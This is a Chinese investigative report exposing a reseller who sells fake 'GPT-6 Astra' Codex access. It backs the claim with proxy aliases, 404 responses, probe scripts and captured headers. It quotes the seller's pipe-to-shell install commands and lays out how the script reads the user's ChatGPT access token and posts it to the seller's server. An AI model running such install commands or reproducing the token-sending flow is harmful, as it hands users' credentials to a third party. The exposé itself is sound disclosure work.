他们卖给你“GPT-6 Astra”。你从来没有用上 Astra。

这是整件事最简洁的证据：显示的模型名不是 gpt-6-astra，而是卖家服务器自定的无意义别名 ch/linxaq。用户无从得知这个别名背后是什么模型，而这正是它的目的。

# Windows
irm "https://codex.nhtbgr.online/install.ps1?k=<REDACTED>" | iex

# macOS / Linux
curl -fsSL "https://codex.nhtbgr.online/install.sh?k=<REDACTED>" | bash

1. READ   ~/.codex/auth.json  →  tokens.access_token   （ChatGPT 会话 JWT）
2. POST   https://codex.nhtbgr.online/client/catalog
        Authorization: Bearer <用户的 ACCESS_TOKEN>
3. WRITE  ~/.codex/config.toml
        openai_base_url    = "https://codex.nhtbgr.online/v1"
        model_catalog_json = "…/.codex/code-hole-remote-catalog.json"
        model              = <由服务器指定的默认值>
4. BACKUP config.toml.bak-remote-<timestamp>

Codex 里显示的模型列表 不是来自 OpenAI，而是来自卖家的服务器。每一行都是一对 无意义别名 → 好听的显示名，服务器可以随时修改右边，用户毫不知情。

// 请求模型："ch/3sc1a4"   （显示标签："GPT-6-Sol"）
{"detail":"The 'gpt-6-sol' model is not supported when using Codex with a ChatGPT account."}

→ 代理在发往上游之前把 ch/3sc1a4 翻译成了 gpt-6-sol。
  “别名 → 真实模型”的机制被证实存在。

// 请求模型："gpt-6-astra"   （真实名称，直接发给代理）
HTTP 404
{"error":{"message":"model gpt-6-astra is not available","type":"model_not_found"}}

→ 如果代理真的提供 Astra，真实名称理应可以调用。
  它并不存在，只有 ch/* 别名能用。

客观题（数字符、球拍与球、小数比较……）在所有模型上的答案都完全相同，因此无法用来区分模型。只有两个信号能产生稳定差异。

鹈鹕 SVG 是一个区分度很好的测试，因为它同时考验几何、构图、动画和代码质量，这些在不同代模型之间差异明显，而且无法照抄标准答案。

图 7 · 骗子版本

图 8 · 真 Astra

https://codex.nhtbgr.online/install.ps1?k=<REDACTED>   ← Windows 安装脚本
https://codex.nhtbgr.online/install.sh?k=<REDACTED>    ← Unix 安装脚本
https://codex.nhtbgr.online/client/catalog             ← 令牌被发送到这里
https://codex.nhtbgr.online/v1/responses               ← 推理代理

参数 ?k=… 是分发密钥：每个买家拿到专属链接，
服务器借此把收集到的令牌对应到具体订单。

GET  /v1/responses  (Upgrade: websocket)        → 426 "websocket not supported"
POST /v1/responses  (Accept: text/event-stream) → 200 (SSE)

  x-codex-routing-hint  : model=ch/linxaq
  x-codex-turn-metadata : {"model":"ch/linxaq","reasoning_effort":"xhigh", …}
  x-codex-plan-type     : plus          ← 服务器能读到你的账号等级
  x-codex-active-limit  : premium
  response body         : "model":"ch/linxaq"
  没有 system_fingerprint  ← 堵死了验证模型的途径

# 1) 列出对照服务商的模型（提供真 Astra 的地方）
curl https://api.xpiki.com/v1/models -H "Authorization: Bearer sk-<REDACTED>"
→ 200 · 7 个模型：gpt-5.6-luna, gpt-5.6-terra, gpt-5.6-sol,
     gpt-6-astra, gpt-5.5, gpt-6-luna, gpt-6-sol

# 2) 确认真 Astra 的自报身份
POST /v1/chat/completions  {"model":"gpt-6-astra", …}
→ "我是 GPT 6 Astra，由 OpenAI 开发。"   截止 2026-03

# 3) 用 ChatGPT 令牌对代理运行题组
python model_probe.py --models ch/linxaq,ch/3sc1a4,gpt-6-astra --runs 3
→ ch/linxaq: cutoff 2024-06 (3/3) · "powered by GPT-5"
   gpt-6-astra: 404 model_not_found

# 4) 对对照服务商运行题组
python probe_xpiki.py "sk-<REDACTED>" "https://api.xpiki.com" "gpt-6-astra,gpt-6-sol,gpt-6-luna" 2

# 5) 抓取流量
mitmdump --mode reverse:https://codex.nhtbgr.online --listen-port 8080 -s codex_capture_full.py

附全部原始日志的技术报告原文（越南语）： bao-cao-ky-thuat-goc.html，单文件自包含，含完整的调查日志附录。

“代码真他*好用，就算是换了标，一天狂刷 4000 亿 token，哪个*供应商能 60k 给你无限 token……” “vippro”，9 月 29 日 00:18